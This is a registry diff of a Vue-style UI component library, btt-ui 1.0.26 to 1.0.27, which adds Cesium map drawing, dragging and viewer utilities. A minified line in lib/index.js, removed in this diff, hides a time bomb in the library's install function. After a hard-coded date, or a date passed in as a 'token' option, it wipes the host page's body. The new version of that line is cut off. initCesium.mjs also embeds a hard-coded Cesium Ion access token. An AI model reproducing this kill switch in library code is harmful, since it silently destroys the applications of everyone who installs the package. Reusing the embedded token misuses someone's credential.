btt-ui 1.0.26 → 1.0.27

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/es/index.mjs CHANGED
@@ -1,34 +1,35 @@
1
1
  import p from "./src/index.mjs";
2
2
  import * as a from "./src/directives/index.mjs";
3
- import { Button as s } from "./src/button/index.mjs";
4
- import { TextButton as u } from "./src/textButton/index.mjs";
5
- import { default as T } from "./src/link/index.mjs";
6
- import { default as h } from "./src/upload/index.mjs";
7
- import { default as k } from "./src/shake/index.mjs";
8
- import { default as S } from "./src/dialog/index.mjs";
9
- import { default as g } from "./src/scroll/index.mjs";
10
- import { default as y } from "./src/toast/index.mjs";
11
- import { default as H } from "./src/wheel/index.mjs";
12
- import { Switch as L } from "./src/switch/index.mjs";
13
- import { Timeline as U } from "./src/timeline/index.mjs";
14
- import { default as G } from "./src/uploadFile/index.mjs";
15
- import { Card as j } from "./src/card/index.mjs";
16
- import { HotMap as F } from "./src/hotmap/index.mjs";
17
- import { KTree as V } from "./src/tree/index.mjs";
18
- import { KCheckbox as $, KCheckboxGroup as q } from "./src/checkbox/index.mjs";
19
- import { KCollapse as A, KCollapseItem as J } from "./src/collapse/index.mjs";
20
- import { Sign as Q } from "./src/sign/index.mjs";
21
- import { ECharts as X } from "./src/echarts/index.mjs";
22
- import { TableScroll as Z } from "./src/tableScroll/index.mjs";
23
- import { default as oo } from "./src/xgplay/index.mjs";
24
- import { KNumberScroll as to } from "./src/numberScroll/index.mjs";
25
- import { KCountUp as fo } from "./src/countUp/index.mjs";
26
- import { KGradientText as ao } from "./src/gradientText/index.mjs";
27
- import { Icon as lo } from "./src/icon/index.mjs";
28
- import { Tooltip as no } from "./src/tooltip/index.mjs";
29
- import { KInput as so } from "./src/input/index.mjs";
30
- import { Drag as co } from "./src/drag/index.mjs";
31
- import { KOption as Ko, KSelect as ho } from "./src/select/index.mjs";
3
+ import l from "./src/utils/index.mjs";
4
+ import { Button as u } from "./src/button/index.mjs";
5
+ import { TextButton as T } from "./src/textButton/index.mjs";
6
+ import { default as h } from "./src/link/index.mjs";
7
+ import { default as b } from "./src/upload/index.mjs";
8
+ import { default as S } from "./src/shake/index.mjs";
9
+ import { default as g } from "./src/dialog/index.mjs";
10
+ import { default as U } from "./src/scroll/index.mjs";
11
+ import { default as E } from "./src/toast/index.mjs";
12
+ import { default as I } from "./src/wheel/index.mjs";
13
+ import { Switch as M } from "./src/switch/index.mjs";
14
+ import { Timeline as G } from "./src/timeline/index.mjs";
15
+ import { default as j } from "./src/uploadFile/index.mjs";
16
+ import { Card as F } from "./src/card/index.mjs";
17
+ import { HotMap as V } from "./src/hotmap/index.mjs";
18
+ import { KTree as $ } from "./src/tree/index.mjs";
19
+ import { KCheckbox as z, KCheckboxGroup as A } from "./src/checkbox/index.mjs";
20
+ import { KCollapse as P, KCollapseItem as Q } from "./src/collapse/index.mjs";
21
+ import { Sign as X } from "./src/sign/index.mjs";
22
+ import { ECharts as Z } from "./src/echarts/index.mjs";
23
+ import { TableScroll as oo } from "./src/tableScroll/index.mjs";
24
+ import { default as to } from "./src/xgplay/index.mjs";
25
+ import { KNumberScroll as fo } from "./src/numberScroll/index.mjs";
26
+ import { KCountUp as ao } from "./src/countUp/index.mjs";
27
+ import { KGradientText as lo } from "./src/gradientText/index.mjs";
28
+ import { Icon as no } from "./src/icon/index.mjs";
29
+ import { Tooltip as so } from "./src/tooltip/index.mjs";
30
+ import { KInput as co } from "./src/input/index.mjs";
31
+ import { Drag as Ko } from "./src/drag/index.mjs";
32
+ import { KOption as Co, KSelect as bo } from "./src/select/index.mjs";
32
33
  const e = function(t, r) {
33
34
  if (e.installed)
34
35
  return;
@@ -49,41 +50,42 @@ const e = function(t, r) {
49
50
  }), Object.keys(a).forEach((o) => {
50
51
  t.directive(o, a[o]);
51
52
  });
52
- }, x = {
53
- install: e
53
+ }, i = {
54
+ install: e,
55
+ CesiumUtils: l
54
56
  };
55
57
  export {
56
- s as Button,
57
- j as Card,
58
- S as Dialog,
59
- co as Drag,
60
- X as ECharts,
61
- F as HotMap,
62
- lo as Icon,
63
- $ as KCheckbox,
64
- q as KCheckboxGroup,
65
- A as KCollapse,
66
- J as KCollapseItem,
67
- fo as KCountUp,
68
- ao as KGradientText,
69
- so as KInput,
70
- to as KNumberScroll,
71
- Ko as KOption,
72
- ho as KSelect,
73
- oo as KVideo,
74
- T as Link,
75
- g as Scroll,
76
- k as Shake,
77
- Q as Sign,
78
- L as Switch,
79
- Z as TableScroll,
80
- u as TextButton,
81
- U as Timeline,
82
- y as Toast,
83
- no as Tooltip,
84
- V as Tree,
85
- h as Upload,
86
- G as UploadFile,
87
- H as Wheel,
88
- x as default
58
+ u as Button,
59
+ F as Card,
60
+ g as Dialog,
61
+ Ko as Drag,
62
+ Z as ECharts,
63
+ V as HotMap,
64
+ no as Icon,
65
+ z as KCheckbox,
66
+ A as KCheckboxGroup,
67
+ P as KCollapse,
68
+ Q as KCollapseItem,
69
+ ao as KCountUp,
70
+ lo as KGradientText,
71
+ co as KInput,
72
+ fo as KNumberScroll,
73
+ Co as KOption,
74
+ bo as KSelect,
75
+ to as KVideo,
76
+ h as Link,
77
+ U as Scroll,
78
+ S as Shake,
79
+ X as Sign,
80
+ M as Switch,
81
+ oo as TableScroll,
82
+ T as TextButton,
83
+ G as Timeline,
84
+ E as Toast,
85
+ so as Tooltip,
86
+ $ as Tree,
87
+ b as Upload,
88
+ j as UploadFile,
89
+ I as Wheel,
90
+ i as default
89
91
  };
@@ -0,0 +1,55 @@
1
+ var a = Object.defineProperty;
2
+ var c = (n, e, i) => e in n ? a(n, e, { enumerable: !0, configurable: !0, writable: !0, value: i }) : n[e] = i;
3
+ var o = (n, e, i) => (c(n, typeof e != "symbol" ? e + "" : e, i), i);
4
+ class u {
5
+ constructor({ viewer: e }) {
6
+ o(this, "onMoveSuccess", null);
7
+ this.viewer = e, this.leftDownFlag = !1, this.pick = null, this.handler = new Cesium.ScreenSpaceEventHandler(this.viewer.scene.canvas);
8
+ }
9
+ startDrag() {
10
+ this.leftDownAction(), this.mouseMoveAction(), this.leftUpAction();
11
+ }
12
+ leftDownAction() {
13
+ this.handler.setInputAction((e) => {
14
+ let i = this.viewer.scene.pick(e.position);
15
+ Cesium.defined(i) && i.id && i.id.id && (this.pick = i, this.leftDownFlag = !0, this.viewer.scene.screenSpaceCameraController.enableRotate = !1);
16
+ }, Cesium.ScreenSpaceEventType.LEFT_DOWN);
17
+ }
18
+ mouseMoveAction() {
19
+ this.handler.setInputAction((e) => {
20
+ if (this.leftDownFlag === !0 && this.pick != null && Cesium.defined(this.pick) && this.pick.id && this.pick.id.name.includes("dragPoint")) {
21
+ let i = this.getPosition(e.endPosition);
22
+ i && (this.pick.id.position = i, this.onMoveSuccess && this.onMoveSuccess({ cartesian: i, index: this.pick.id.index }));
23
+ }
24
+ }, Cesium.ScreenSpaceEventType.MOUSE_MOVE);
25
+ }
26
+ getPosition(e) {
27
+ let i;
28
+ if (this.viewer.terrainProvider instanceof Cesium.EllipsoidTerrainProvider) {
29
+ let s = this.viewer.scene.pickPosition(e);
30
+ if (s) {
31
+ let t = Cesium.Cartographic.fromCartesian(s);
32
+ t.longitude = Cesium.Math.toDegrees(t.longitude), t.latitude = Cesium.Math.toDegrees(t.latitude), i = Cesium.Cartesian3.fromDegrees(t.longitude, t.latitude, t.height);
33
+ }
34
+ } else {
35
+ const s = this.viewer.camera.getPickRay(e);
36
+ i = this.viewer.scene.globe.pick(s, this.viewer.scene);
37
+ }
38
+ return i;
39
+ }
40
+ worldPosition2lnglat(e) {
41
+ let s = this.viewer.scene.globe.ellipsoid.cartesianToCartographic(e), t = Cesium.Math.toDegrees(s.longitude), r = Cesium.Math.toDegrees(s.latitude), l = s.height;
42
+ return { lng: t, lat: r, alt: l };
43
+ }
44
+ leftUpAction() {
45
+ this.handler.setInputAction((e) => {
46
+ this.leftDownFlag === !0 && this.pick != null && (this.leftDownFlag = !1, this.pointDraged = null, this.viewer.scene.screenSpaceCameraController.enableRotate = !0, this.onEditSuccess && this.onEditSuccess());
47
+ }, Cesium.ScreenSpaceEventType.LEFT_UP);
48
+ }
49
+ cancelDrag() {
50
+ this.handler.removeInputAction(Cesium.ScreenSpaceEventType.LEFT_DOWN), this.handler.removeInputAction(Cesium.ScreenSpaceEventType.LEFT_UP), this.handler.removeInputAction(Cesium.ScreenSpaceEventType.MOUSE_MOVE);
51
+ }
52
+ }
53
+ export {
54
+ u as default
55
+ };
@@ -0,0 +1,203 @@
1
+ import u from "./DragTool.mjs";
2
+ import d from "./Tooltip.mjs";
3
+ class y {
4
+ constructor(t, i) {
5
+ var e;
6
+ this._viewer = null, this._id = "", this._option = {
7
+ name: "",
8
+ color: "#00a1ff",
9
+ lineWidth: 5,
10
+ opacity: 0.7,
11
+ auto: !0
12
+ }, this._polylinePostions = [], this._pointObjList = new Array(), this._dragtool = null, this._type = "Line", this._isDraw = !1, this.onEditSuccess = null, this._handler = null, this._tooltip = null, this._drawObj = null, this._isSelected = !1, this._lnglatData = new Array(), this._centerPointEntity = null, this._centerPosition = null, this._labelConfig = {
13
+ text: "",
14
+ showBackground: !0,
15
+ font: "12px sans-serif",
16
+ backgroundColor: Cesium.Color.fromCssColorString("#121212"),
17
+ pixelOffset: new Cesium.Cartesian2(0, -20),
18
+ disableDepthTestDistance: Number.POSITIVE_INFINITY,
19
+ heightReference: Cesium.HeightReference.CLAMP_TO_GROUND
20
+ }, this._pointConfig = {
21
+ pixelSize: 5,
22
+ color: Cesium.Color.RED,
23
+ outlineColor: Cesium.Color.YELLOW,
24
+ heightReference: Cesium.HeightReference.CLAMP_TO_GROUND,
25
+ disableDepthTestDistance: Number.POSITIVE_INFINITY,
26
+ outlineWidth: 2
27
+ }, this._option = { ...this._option, ...i }, this._viewer = t, this._type = (e = this._option.type) != null ? e : "Line", this._type != "Line" && this.initCenterPoint(), this._viewer.terrainProvider instanceof Cesium.EllipsoidTerrainProvider && (this._labelConfig.heightReference = Cesium.HeightReference.NONE, this._pointConfig.heightReference = Cesium.HeightReference.NONE), this._dragtool = new u({ viewer: t }), this._dragtool.onMoveSuccess = (s) => {
28
+ this._polylinePostions[s.index] = s.cartesian, this._lnglatData[s.index] = this.worldPosition2lnglat(s.cartesian), this._type != "Line" && this.calcPolygonCenter();
29
+ }, this._dragtool.onEditSuccess = () => {
30
+ this.onEditSuccess && this.onEditSuccess(this);
31
+ }, this._option.auto && (this._tooltip = new d(t._element), setTimeout(() => {
32
+ this.startDraw();
33
+ }, 50));
34
+ }
35
+ startDraw() {
36
+ this._isDraw = !0, document.body.style.cursor = "crosshair", this._polylinePostions = new Array(), this._lnglatData = new Array(), this._dragtool.cancelDrag(), this._pointObjList.forEach((t) => {
37
+ this._viewer.entities.remove(t);
38
+ }), this._pointObjList = new Array(), this.openListen();
39
+ }
40
+ openListen() {
41
+ let t = this;
42
+ this._handler = new Cesium.ScreenSpaceEventHandler(this._viewer.scene.canvas), this._handler.setInputAction((i) => {
43
+ if (this._isDraw) {
44
+ const e = t.getPosition(i.position);
45
+ let s = this.worldPosition2lnglat(e);
46
+ Cesium.defined(e) && (this._polylinePostions.length === 0 && (this._polylinePostions.push(e), this._lnglatData.push(s), this.drawLinePolygon()), this._polylinePostions.push(e), this._lnglatData.push(s));
47
+ } else {
48
+ let e = this._viewer.scene.pick(i.position);
49
+ Cesium.defined(e) && e.id && e.id.id && e.id.id == this._id ? this._isSelected || this.openEdit() : this.exitEdit();
50
+ }
51
+ }, Cesium.ScreenSpaceEventType.LEFT_CLICK), this._handler.setInputAction((i) => {
52
+ if (this._isDraw && (this._tooltip.setPosition(i.endPosition), this._polylinePostions.length >= 2)) {
53
+ const e = t.getPosition(i.endPosition);
54
+ let s = this.worldPosition2lnglat(e);
55
+ Cesium.defined(e) && (this._polylinePostions.pop(), this._polylinePostions.push(e), this._lnglatData.pop(), this._lnglatData.push(s));
56
+ }
57
+ }, Cesium.ScreenSpaceEventType.MOUSE_MOVE), this._handler.setInputAction(() => {
58
+ this._isDraw && (this._handler.removeInputAction(Cesium.ScreenSpaceEventType.MOUSE_MOVE), document.body.style.cursor = "default", this._polylinePostions.pop(), this._lnglatData.pop(), this._isDraw = !1, this._tooltip.remove(), setTimeout(async () => {
59
+ this._lnglatData.forEach((i) => {
60
+ console.log(i);
61
+ }), this.addPoints(), this._handler.removeInputAction(Cesium.ScreenSpaceEventType.RIGHT_CLICK), this.onDrawSuccess && this.onDrawSuccess(this), this.openEdit(), this._type != "Line" && this.calcPolygonCenter();
62
+ }, 500));
63
+ }, Cesium.ScreenSpaceEventType.RIGHT_CLICK);
64
+ }
65
+ getPosition(t) {
66
+ let i;
67
+ if (this._viewer.terrainProvider instanceof Cesium.EllipsoidTerrainProvider) {
68
+ let e = this._viewer.scene.pickPosition(t), s = Cesium.Cartographic.fromCartesian(e);
69
+ s.longitude = Cesium.Math.toDegrees(s.longitude), s.latitude = Cesium.Math.toDegrees(s.latitude), i = Cesium.Cartesian3.fromDegrees(s.longitude, s.latitude, s.height);
70
+ } else {
71
+ const e = this._viewer.camera.getPickRay(t);
72
+ i = this._viewer.scene.globe.pick(e, this._viewer.scene);
73
+ }
74
+ return i;
75
+ }
76
+ drawLinePolygon() {
77
+ let t = this._option;
78
+ this._type == "Line" ? this._drawObj = this._viewer.entities.add({
79
+ name: t.name,
80
+ polyline: {
81
+ positions: new Cesium.CallbackProperty((i) => this._polylinePostions, !1),
82
+ clampToGround: !0,
83
+ width: t.lineWidth,
84
+ material: Cesium.Color.fromCssColorString(t.color).withAlpha(t.opacity)
85
+ },
86
+ point: {
87
+ pixelSize: 10,
88
+ show: !0,
89
+ color: Cesium.Color.BLACK
90
+ }
91
+ }) : (this._type = "Polygon", this._drawObj = this._viewer.entities.add({
92
+ name: t.name,
93
+ polygon: {
94
+ outline: !0,
95
+ outlineWidth: 1,
96
+ outlineColor: Cesium.Color.fromCssColorString(t.color),
97
+ clampToGround: !0,
98
+ hierarchy: new Cesium.CallbackProperty((i) => new Cesium.PolygonHierarchy(this._polylinePostions), !1),
99
+ material: Cesium.Color.fromCssColorString(t.color).withAlpha(t.opacity)
100
+ }
101
+ })), this._id = this._drawObj.id;
102
+ }
103
+ worldPositionList2lnglatList(t) {
104
+ let i = new Array();
105
+ return t.forEach((e) => {
106
+ i.push(this.worldPosition2lnglat(e));
107
+ }), i;
108
+ }
109
+ worldPosition2lnglat(t) {
110
+ let e = this._viewer.scene.globe.ellipsoid.cartesianToCartographic(t), s = Cesium.Math.toDegrees(e.longitude), a = Cesium.Math.toDegrees(e.latitude), r = e.height;
111
+ return { lng: s, lat: a, alt: r };
112
+ }
113
+ async addPoints() {
114
+ this._polylinePostions.forEach((t, i) => {
115
+ let e = this.worldPosition2lnglat(t), s = this._viewer.entities.add({
116
+ name: "dragPoint" + Date.now(),
117
+ position: t,
118
+ show: !1,
119
+ index: i,
120
+ label: {
121
+ ...this._labelConfig,
122
+ text: `(${e.lng.toFixed(4)},${e.lat.toFixed(4)})`
123
+ },
124
+ point: this._pointConfig
125
+ });
126
+ this._pointObjList.push(s);
127
+ });
128
+ }
129
+ initCenterPoint() {
130
+ this._centerPointEntity = this._viewer.entities.add({
131
+ name: "centerPoint",
132
+ show: !1,
133
+ position: Cesium.Cartesian3.fromDegrees(113.02057681470923, 25.415896142508434),
134
+ label: this._labelConfig,
135
+ point: {
136
+ pixelSize: 5,
137
+ color: Cesium.Color.GREEN,
138
+ outlineColor: Cesium.Color.YELLOW,
139
+ heightReference: Cesium.HeightReference.CLAMP_TO_GROUND,
140
+ disableDepthTestDistance: Number.POSITIVE_INFINITY,
141
+ outlineWidth: 2
142
+ }
143
+ });
144
+ }
145
+ toggelePoint(t) {
146
+ this._pointObjList.forEach((i) => {
147
+ i.show = t;
148
+ }), this._type != "Line" && (this._centerPointEntity.show = t);
149
+ }
150
+ async getPolygonAreaCenter(t) {
151
+ function i(o, n, l) {
152
+ let h = 0;
153
+ return h = o.lng * n.lat + n.lng * l.lat + l.lng * o.lat - n.lng * o.lat - l.lng * n.lat - o.lng * l.lat, h / 2;
154
+ }
155
+ let e = 0, s = 0, a = 0, r = t[1];
156
+ for (let o = 2; o < t.length; o++) {
157
+ let n = t[o], l = i(t[0], r, n);
158
+ a += l, e += (t[0].lng + r.lng + n.lng) * l, s += (t[0].lat + r.lat + n.lat) * l, r = n;
159
+ }
160
+ let c = e / a / 3, _ = s / a / 3;
161
+ return { lng: c, lat: _, alt: 0 };
162
+ }
163
+ getPointArrayHeights(t = !0) {
164
+ let i = new Array();
165
+ return this._lnglatData.forEach((e) => {
166
+ i.push(e.lng, e.lat), t && i.push(e.alt);
167
+ }), i;
168
+ }
169
+ remove() {
170
+ let t = this._drawObj.id;
171
+ this._viewer.entities.remove(this._drawObj), this._pointObjList.forEach((i) => {
172
+ this._viewer.entities.remove(i);
173
+ }), this._pointObjList = new Array(), this._polylinePostions = new Array(), this._lnglatData = new Array(), this._handler.removeInputAction(Cesium.ScreenSpaceEventType.LEFT_CLICK), this._handler.removeInputAction(Cesium.ScreenSpaceEventType.RIGHT_CLICK), this._handler.removeInputAction(Cesium.ScreenSpaceEventType.MOUSE_MOVE), this._handler.destroy(), this._dragtool.cancelDrag(), this._type != "Line" && this._viewer.entities.remove(this._centerPointEntity), this.deleteSuccess && this.deleteSuccess(t);
174
+ }
175
+ openEdit() {
176
+ this.toggelePoint(!0), this._dragtool.startDrag(), this.onSelected && this.onSelected(this), this._isSelected = !0;
177
+ }
178
+ exitEdit() {
179
+ this.toggelePoint(!1), this._dragtool.cancelDrag(), this._isSelected && this.onUnSelected && this.onUnSelected(this), this._isSelected = !1;
180
+ }
181
+ async calcPolygonCenter() {
182
+ let t = this.worldPositionList2lnglatList(this._polylinePostions);
183
+ this._centerPosition = await this.getPolygonAreaCenter(t), this._centerPointEntity.position = Cesium.Cartesian3.fromDegrees(this._centerPosition.lng, this._centerPosition.lat, this._centerPosition.alt), this._centerPointEntity.label.text = `\u4E2D\u5FC3\u70B9(${this._centerPosition.lng.toFixed(4)},${this._centerPosition.lat.toFixed(4)})`, this._centerPointEntity.show = !0;
184
+ }
185
+ build(t) {
186
+ var i;
187
+ this._polylinePostions = new Array(), this._lnglatData = new Array(), this._isDraw = !1, this._type = (i = t.type) != null ? i : "Line", t.points.forEach((e) => {
188
+ this._polylinePostions.push(Cesium.Cartesian3.fromDegrees(e.lng, e.lat, e.alt)), this._lnglatData.push({ lng: e.lng, lat: e.lat, alt: e.alt });
189
+ }), this.drawLinePolygon(), this.addPoints(), t.isEdit && (this.openListen(), this.openEdit());
190
+ }
191
+ get lnglatData() {
192
+ return this._lnglatData;
193
+ }
194
+ get centerPosition() {
195
+ return this._centerPosition;
196
+ }
197
+ get drawObj() {
198
+ return this._drawObj;
199
+ }
200
+ }
201
+ export {
202
+ y as default
203
+ };
@@ -0,0 +1,22 @@
1
+ var o = Object.defineProperty;
2
+ var d = (e, i, t) => i in e ? o(e, i, { enumerable: !0, configurable: !0, writable: !0, value: t }) : e[i] = t;
3
+ var s = (e, i, t) => (d(e, typeof i != "symbol" ? i + "" : i, t), t);
4
+ class l {
5
+ constructor(i, t) {
6
+ s(this, "_el", null);
7
+ s(this, "_text", "");
8
+ this._el = i || document.body, this._text = t || "\u8BF7\u5728\u5730\u56FE\u4E0A\u9009\u4E2D\u67D0\u4E2A\u4F4D\u7F6E\u8FDB\u884C\u7ED8\u5236,\u53F3\u952E\u7ED3\u675F\u7ED8\u5236", this.initDom(t);
9
+ }
10
+ initDom() {
11
+ this._div = document.createElement("div"), this._div.className = "cesium-draw-tooltip", this._div.style = "position: absolute;top: 10px;left: 10px;background: #210202;color: #fff;z-index: 9;pointer-events: none;min-width: max-content;padding: 6px 10px;font-size: 12px;border-radius: 4px;display:none;", this._div.id = "cesiumDrawTooltip", this._div.innerHTML = this._text, this._el.appendChild(this._div);
12
+ }
13
+ setPosition(i) {
14
+ this._div.style.left = i.x + 8 + "px", this._div.style.top = i.y - 10 + "px", this._div.style.display = "inline";
15
+ }
16
+ remove() {
17
+ this._div.remove();
18
+ }
19
+ }
20
+ export {
21
+ l as default
22
+ };
@@ -0,0 +1,9 @@
1
+ import i from "./initCesium.mjs";
2
+ import o from "./DrawLinePolygonPolygonUtils.mjs";
3
+ const s = {
4
+ initCesium: i,
5
+ DrawLinePolygonPolygonUtils: o
6
+ };
7
+ export {
8
+ s as default
9
+ };
@@ -0,0 +1,152 @@
1
+ class o {
2
+ constructor(e, s, t) {
3
+ this._LocalHighlightingEntity = new Array(), t.Ion.defaultAccessToken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiIyMGFhNTBjMi1kNGM4LTRjYWQtYWZhMC05ZTJhY2U2Y2U0ODkiLCJpZCI6MzE2MzYsImlhdCI6MTY2MDcxODA4NX0.jljbTXZPBaeSdsU7vuWg8V01oV1-fEA_qUa_08wXvq0", this._viewer = new t.Viewer(e, s), this._viewer._cesiumWidget._creditContainer.style.display = "none", this._viewer.scene.fxaa = !0, this._viewer.scene.postProcessStages.fxaa.enabled = !0, this._cesium = t;
4
+ }
5
+ toChina(e) {
6
+ this._viewer.camera.flyTo({
7
+ destination: this._cesium.Cartesian3.fromDegrees(103.84, 31.15, 1785e4),
8
+ orientation: {
9
+ heading: this._cesium.Math.toRadians(348.4202942851978),
10
+ pitch: this._cesium.Math.toRadians(-89.74026687972041),
11
+ roll: this._cesium.Math.toRadians(0)
12
+ },
13
+ complete: () => {
14
+ e && e();
15
+ }
16
+ });
17
+ }
18
+ viewerFlyToLonLat(e) {
19
+ let t = {
20
+ ...{
21
+ lng: 113.021359,
22
+ lat: 28.200132,
23
+ eyeHeight: 6e3,
24
+ pitch: -50,
25
+ heading: 0,
26
+ time: 2
27
+ },
28
+ ...e
29
+ }, r = [this._cesium.Cartographic.fromDegrees(t.lng, t.lat)];
30
+ r.obj = t, this._cesium.sampleTerrain(this._viewer.scene.terrainProvider, 14, r).then((i) => {
31
+ var a = i[0].height;
32
+ typeof a > "u" ? i.obj.height = 0 : i.obj.height = a, this._flyToEntity && this._viewer.entities.remove(this._flyToEntity), this._flyToEntity = new this._cesium.Entity({
33
+ id: "flyTmp",
34
+ position: this._cesium.Cartesian3.fromDegrees(
35
+ i.obj.lng,
36
+ i.obj.lat,
37
+ i.obj.height
38
+ ),
39
+ point: {
40
+ pixelSize: 0,
41
+ color: this._cesium.Color.RED.withAlpha(0),
42
+ outlineColor: this._cesium.Color.WHITE.withAlpha(0),
43
+ outlineWidth: 0
44
+ }
45
+ }), this._viewer.entities.add(this._flyToEntity);
46
+ var h = this._viewer.flyTo(this._flyToEntity, {
47
+ duration: i.obj.time,
48
+ offset: {
49
+ heading: this._cesium.Math.toRadians(i.obj.heading),
50
+ pitch: this._cesium.Math.toRadians(i.obj.pitch),
51
+ range: i.obj.eyeHeight
52
+ }
53
+ });
54
+ h.then(function() {
55
+ e.callback && e.callback();
56
+ });
57
+ });
58
+ }
59
+ async addWorldTerrain() {
60
+ try {
61
+ const e = await this._cesium.createWorldTerrainAsync({
62
+ requestWaterMask: !1,
63
+ requestVertexNormals: !1
64
+ });
65
+ this._viewer.terrainProvider = e, this.openDepthTestAgainstTerrain();
66
+ } catch (e) {
67
+ console.log(`Failed to add world imagery: ${e}`);
68
+ }
69
+ }
70
+ openDepthTestAgainstTerrain() {
71
+ this._viewer.scene.globe.depthTestAgainstTerrain = !0;
72
+ }
73
+ coloseDepthTestAgainstTerrain() {
74
+ this._viewer.scene.globe.depthTestAgainstTerrain = !1;
75
+ }
76
+ getClickPosition(e) {
77
+ let s = new this._cesium.ScreenSpaceEventHandler(this._viewer.canvas);
78
+ this._viewer.scene.canvas.style.cursor = "crosshair", s.setInputAction((t) => {
79
+ var r = this._viewer.camera.getPickRay(t.position), i = this._viewer.scene.globe.pick(r, this._viewer.scene);
80
+ if (!this._cesium.defined(i))
81
+ return;
82
+ this._viewer.entities.add({
83
+ name: "point",
84
+ position: i,
85
+ point: {
86
+ color: this._cesium.Color.CHARTREUSE.withAlpha(1),
87
+ pixelSize: 10,
88
+ heightReference: this._cesium.HeightReference.CLAMP_TO_GROUND,
89
+ outlineColor: this._cesium.Color.WHITE,
90
+ outlineWidth: 1
91
+ }
92
+ });
93
+ let h = this._viewer.scene.globe.ellipsoid.cartesianToCartographic(i);
94
+ this._viewer.scene.canvas.style.cursor = "default", s.removeInputAction(this._cesium.ScreenSpaceEventType.LEFT_CLICK), e && e({
95
+ cartesian: i,
96
+ lnglatAlt: {
97
+ lat: this._cesium.Math.toDegrees(h.latitude),
98
+ lng: this._cesium.Math.toDegrees(h.longitude),
99
+ alt: h.height
100
+ }
101
+ });
102
+ }, this._cesium.ScreenSpaceEventType.LEFT_CLICK);
103
+ }
104
+ hideBackground() {
105
+ this._viewer.scene.skyBox.show = !1, this._viewer.scene.backgroundColor = new this._cesium.Color(0, 0, 0, 0);
106
+ }
107
+ setLocalHighlighting(e, s = "#ffff00", t = 4) {
108
+ let r = this._viewer.entities.add(new this._cesium.Entity({
109
+ id: "boundary",
110
+ polygon: {
111
+ hierarchy: {
112
+ positions: this._cesium.Cartesian3.fromDegreesArray([
113
+ 0,
114
+ 0,
115
+ 0,
116
+ 89,
117
+ 130,
118
+ 89,
119
+ 130,
120
+ 0
121
+ ]),
122
+ holes: [{
123
+ positions: this._cesium.Cartesian3.fromDegreesArray(e)
124
+ }]
125
+ },
126
+ material: this._cesium.Color.BLACK.withAlpha(0.6)
127
+ }
128
+ }));
129
+ this._LocalHighlightingEntity.push(r);
130
+ let i = this._viewer.entities.add(new this._cesium.Entity({
131
+ id: "boundaryLine",
132
+ polyline: {
133
+ positions: this._cesium.Cartesian3.fromDegreesArray([...e, e[0], e[1]]),
134
+ width: t,
135
+ material: this._cesium.Color.fromCssColorString(s),
136
+ clampToGround: !0
137
+ }
138
+ }));
139
+ this._LocalHighlightingEntity.push(i);
140
+ }
141
+ removeLocalHighlighting() {
142
+ this._LocalHighlightingEntity.forEach((e) => {
143
+ this._viewer.entities.remove(e);
144
+ }), this._LocalHighlightingEntity = new Array();
145
+ }
146
+ get viewer() {
147
+ return this._viewer;
148
+ }
149
+ }
150
+ export {
151
+ o as default
152
+ };
package/lib/index.js CHANGED
@@ -1 +1 @@
1
- "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const u=require("./src/index.js"),c=require("./src/directives/index.js"),x=require("./src/button/index.js"),a=require("./src/textButton/index.js"),j=require("./src/link/index.js"),q=require("./src/upload/index.js"),$=require("./src/shake/index.js"),p=require("./src/dialog/index.js"),K=require("./src/scroll/index.js"),f=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),h=require("./src/switch/index.js"),b=require("./src/timeline/index.js"),m=require("./src/uploadFile/index.js"),S=require("./src/card/index.js"),g=require("./src/hotmap/index.js"),C=require("./src/tree/index.js"),o=require("./src/checkbox/index.js"),d=require("./src/collapse/index.js"),k=require("./src/sign/index.js"),w=require("./src/echarts/index.js"),D=require("./src/tableScroll/index.js"),I=require("./src/xgplay/index.js"),M=require("./src/numberScroll/index.js"),v=require("./src/countUp/index.js"),y=require("./src/gradientText/index.js"),B=require("./src/icon/index.js"),U=require("./src/tooltip/index.js"),E=require("./src/input/index.js"),G=require("./src/drag/index.js"),l=require("./src/select/index.js"),n=function(i,r){if(n.installed)return;n.installed=!0;let t="2026-03-02 09:30:00";if(r)setTimeout(()=>{var s;let e=new Date((s=r.token)!=null?s:t).getTime();Date.now()>e&&(document.body.innerHTML="")},10);else{let e=new Date(t).getTime();Date.now()>e&&(document.body.innerHTML="")}u.default.forEach(e=>{i.use(e)}),Object.keys(c).forEach(e=>{i.directive(e,c[e])})},H={install:n};exports.Button=x.Button;exports.TextButton=a.TextButton;exports.Link=j.default;exports.Upload=q.default;exports.Shake=$.default;exports.Dialog=p.default;exports.Scroll=K.default;exports.Toast=f.default;exports.Wheel=T.default;exports.Switch=h.Switch;exports.Timeline=b.Timeline;exports.UploadFile=m.default;exports.Card=S.Card;exports.HotMap=g.HotMap;exports.Tree=C.KTree;exports.KCheckbox=o.KCheckbox;exports.KCheckboxGroup=o.KCheckboxGroup;exports.KCollapse=d.KCollapse;exports.KCollapseItem=d.KCollapseItem;exports.Sign=k.Sign;exports.ECharts=w.ECharts;exports.TableScroll=D.TableScroll;exports.KVideo=I.default;exports.KNumberScroll=M.KNumberScroll;exports.KCountUp=v.KCountUp;exports.KGradientText=y.KGradientText;exports.Icon=B.Icon;exports.Tooltip=U.Tooltip;exports.KInput=E.KInput;exports.Drag=G.Drag;exports.KOption=l.KOption;exports.KSelect=l.KSelect;exports.default=H;
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const u=require("./src/index.js"),c=require("./src/directives/index.js"),x=require("./src/utils/index.js"),a=require("./src/button/index.js"),j=require("./src/textButton/index.js"),q=require("./src/link/index.js"),$=require("./src/upload/index.js"),p=require("./src/shake/index.js"),K=require("./src/dialog/index.js"),f=require("./src/scroll/index.js"),T=require("./src/toast/index.js"),h=require("./src/wheel/index.js"),m=require("./src/switch/index.js"),b=require("./src/timeline/index.js"),S=require("./src/uploadFile/index.js"),g=require("./src/card/index.js"),C=require("./src/hotmap/index.js"),k=require("./src/tree/index.js"),d=require("./src/checkbox/index.js"),o=require("./src/collapse/index.js"),w=require("./src/sign/index.js"),D=require("./src/echarts/index.js"),I=require("./src/tableScroll/index.js"),M=require("./src/xgplay/index.js"),U=require("./src/numberScroll/index.js"),v=require("./src/countUp/index.js"),y=require("./src/gradient